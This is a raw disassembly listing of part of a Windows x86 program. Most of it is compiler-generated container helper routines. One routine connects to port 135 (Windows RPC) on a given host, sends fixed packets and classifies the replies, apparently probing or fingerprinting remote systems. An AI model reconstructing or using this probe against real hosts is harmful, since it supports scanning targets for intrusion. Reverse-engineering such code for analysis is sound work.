jl short loc_4215E4
loc_4215FB: ; CODE XREF: sub_4215D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421602: ; CODE XREF: sub_4215D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4215D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421620: ; CODE XREF: ___:0040209Aj
mov eax, 2010h
call sub_436840
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42166D
dec eax
jz short loc_421647
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421647: ; CODE XREF: ___:00421638j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402004
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: ___:00421635j
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4217C9
cmp esi, 0FFFFFFFFh
jz loc_4217C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2B66h
nop
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40187F
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov ebp, dword_50FC8C
push 0
push 48h
push offset dword_443DD8
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4217C2
mov edi, dword_50FC90
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi ; recv
cmp eax, 0FFFFFFFFh
jz loc_4217C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4217C2
push 0
push 18h
push offset dword_443E4C
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jz loc_4217C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi ; recv
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4217C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4217C2
push 10h
push offset loc_443E24
lea eax, [esp+24h]
push edi
push eax
call sub_401AEB
add esp, 10h
test al, al
jz short loc_421791
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: ___:0042176Ej
push 10h
push offset dword_443E38
lea edx, [esp+24h]
push edi
push edx
call sub_401AEB
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4217C2: ; CODE XREF: ___:004216DBj
; ___:004216F6j ...
push esi
call near ptr 71AB9639h
nop
loc_4217C9: ; CODE XREF: ___:0042167Ej
; ___:00421687j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421850: ; CODE XREF: ___:00401A00j
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421870 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
sub_421870 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4218B0 proc near ; CODE XREF: sub_4018D9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401901
sub_4218B0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4218F0 proc near ; CODE XREF: sub_401816j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40196F
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014D8
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401997
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401947
sub_4218F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421960 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40204F
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_421960 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4219A0 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401EBF
mov eax, esi
pop esi
retn 4
sub_4219A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219D0 proc near ; CODE XREF: sub_402167j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40196F
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4018FC
sub_4219D0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A10 proc near ; CODE XREF: sub_401703j
push esi
mov esi, ecx
call sub_4019EC
mov eax, esi
pop esi
retn
sub_421A10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421A30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40204F
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421A50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A80 proc near ; CODE XREF: sub_401802j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FFF
neg al
sbb eax, eax
inc eax
retn 4
sub_421A80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AB0 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
sub_421AB0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013ED
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021B7
sub_421AF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B60 proc near ; CODE XREF: sub_40145Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40110E
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421B60 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421BA0 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D75
mov eax, esi
pop esi
retn 4
sub_421BA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013ED
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BAE
sub_421BD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C10 proc near ; CODE XREF: sub_401B40j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421C10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421C30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C50 proc near ; CODE XREF: sub_40182Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421C50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D48
neg al
sbb eax, eax
inc eax
retn 4
sub_421C80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421CB0 proc near ; CODE XREF: sub_4010E6j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401ECE
mov edi, eax
push edi
call sub_401B1D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
sub_421CB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401B1D
push edi
mov [eax], ebx
call sub_401B1D
mov edi, [eax]
push edi
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E3D
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D84
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421D50 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401CF3
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401901
sub_421D50 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401CF3
push edi
mov [eax], ebx
call sub_401CF3
mov edi, [eax]
push edi
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017E9
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401EBF
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421DF0 proc near ; CODE XREF: sub_401997j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jz short loc_421E4A
loc_421E08: ; CODE XREF: sub_421DF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020B8
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A1E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401802
test al, al
jnz short loc_421E08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421E4A: ; CODE XREF: sub_421DF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421DF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421E80 proc near ; CODE XREF: sub_401901j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401DF2
sub_421E80 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_421E95
mov edi, esi
loc_421E95: ; CODE XREF: ___:00421E91j
push esi
call sub_40204F
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_421EAA
mov edi, esi
loc_421EAA: ; CODE XREF: ___:00421EA6j
push esi
call sub_401CF3
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421ED0 proc near ; CODE XREF: sub_401947j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401546
sub_421ED0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_40204Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F10 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_421F10 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F30 proc near ; CODE XREF: sub_4019ECj
mov eax, ecx
retn
sub_421F30 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F50 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401519
mov eax, esi
pop esi
retn 4
sub_421F50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F80 proc near ; CODE XREF: sub_401FFFj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_421F80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421FB0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018E8
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
sub_421FB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013DE
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D75
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4220AA
loc_422068: ; CODE XREF: sub_422050+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019AB
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B7C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422068
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4220AA: ; CODE XREF: sub_422050+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422050 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4220E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020BD
sub_4220E0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4220F5
mov edi, esi
loc_4220F5: ; CODE XREF: ___:004220F1j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_42210A
mov edi, esi
loc_42210A: ; CODE XREF: ___:00422106j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422130 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018E3
sub_422130 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422150 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422170 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422170 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422190 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221B0 proc near ; CODE XREF: sub_401D75j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018ED
mov eax, esi
pop esi
retn 4
sub_4221B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4221E0 proc near ; CODE XREF: sub_401D48j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4221E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422210 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A2D
add esp, 8
retn 8
sub_422210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422240 proc near ; CODE XREF: sub_401A1Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020B8
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40204F
push esi
mov ebx, eax
call sub_401CF3
mov ecx, [eax]
push ecx
call sub_40204F
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401CF3
push esi
mov ebx, eax
call sub_40204F
mov eax, [eax]
push eax
call sub_401CF3
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_401631
push esi
mov ecx, edi
call sub_401947
sub_422240 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422300 proc near ; CODE XREF: sub_401CF3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422300 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422320 proc near ; CODE XREF: sub_401DF2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_422320 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422350 proc near ; CODE XREF: sub_401546j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422350 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422370 proc near ; CODE XREF: sub_4017E9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40201D
add esp, 8
retn 8
sub_422370 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223A0 proc near ; CODE XREF: sub_401519j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4223A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4223C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4223E0 proc near ; CODE XREF: sub_4020B8j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4223E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422410 proc near ; CODE XREF: sub_401B7Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019AB
mov ecx, eax
call sub_4018E8
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E60
push esi
mov ecx, edi
call sub_4021B7
sub_422410 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4224D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4224F0 proc near ; CODE XREF: sub_4020BDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_4224F0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422520 proc near ; CODE XREF: sub_4018E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_422520 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422540 proc near ; CODE XREF: sub_4013DEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401ED3
add esp, 8
retn 8
sub_422540 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422570 proc near ; CODE XREF: sub_4018EDj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422570 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422590 proc near ; CODE XREF: sub_4018E8j
mov eax, [ecx]
retn
sub_422590 endp
